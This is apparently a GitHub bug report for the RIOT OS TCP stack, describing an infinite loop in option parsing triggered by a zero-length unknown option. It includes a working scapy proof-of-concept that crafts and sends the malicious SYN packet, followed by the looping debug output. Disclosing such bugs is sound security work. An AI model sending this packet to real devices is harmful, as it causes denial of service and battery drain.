gnrc_tcp: option parsing doesn't terminate on all inputs, potential DOS #12086
Description
Description
The gnrc_tcp parser for TCP options (_option_parse) doesn't terminate on all inputs. When sending a packet with an unknown option and option length zero it doesn't advance the option pointer (i.e. advances it by zero) and therefore stays in the loop forever.
RIOT/sys/net/gnrc/transport_layer/tcp/gnrc_tcp_option.c
Lines 63 to 68 in a9da0dc
Steps to reproduce the issue
- Configure the interface
tapas followsip addr add 2001:db8::affe:1/64 dev tap0 - Enable debug in
sys/net/gnrc/transport_layer/tcp/gnrc_tcp_option.c - Compile
tests/gnrc_tcp_server/using:TCP_SERVER_ADDR="2001:db8::affe:2" make -C tests/gnrc_tcp_server/ - Start
tests/gnrc_tcp_serverusing:make -C tests/gnrc_tcp_server term - Invoke the following python script (requires scapy):
#!/usr/bin/env python3
import sys
import struct
from scapy.all import *
if len(sys.argv) < 3:
print("USAGE: %s ADDR PORT" % sys.argv[0], file=sys.stderr)
sys.exit(1)
addr = sys.argv[1]
port = int(sys.argv[2])
ip = IPv6(dst=addr)
tcp = TCP(dport=port, flags="S", sport=2342, seq=1, dataofs=6)
rawpkt = raw(tcp) + b"\x50\x00\x00\x00"
_, chksum = tcp.chksum, in6_chksum(socket.IPPROTO_TCP, ip[IPv6], rawpkt)
pkt = rawpkt[0:16] + struct.pack("!H", chksum) + rawpkt[18:]
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.connect((ip.dst, tcp.dport))
s.send(pkt)For example using ./tcp-zero-option.py "2001:db8::affe:2" 80
Expected results
The application should parse the unknown option once.
Actual results
The application parses the unknown option an infinite amount of times. Example output:
…
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found. KIND=80, LENGTH=0
…
Impact
Denial of service, possibly allowing battery drain, et cetera.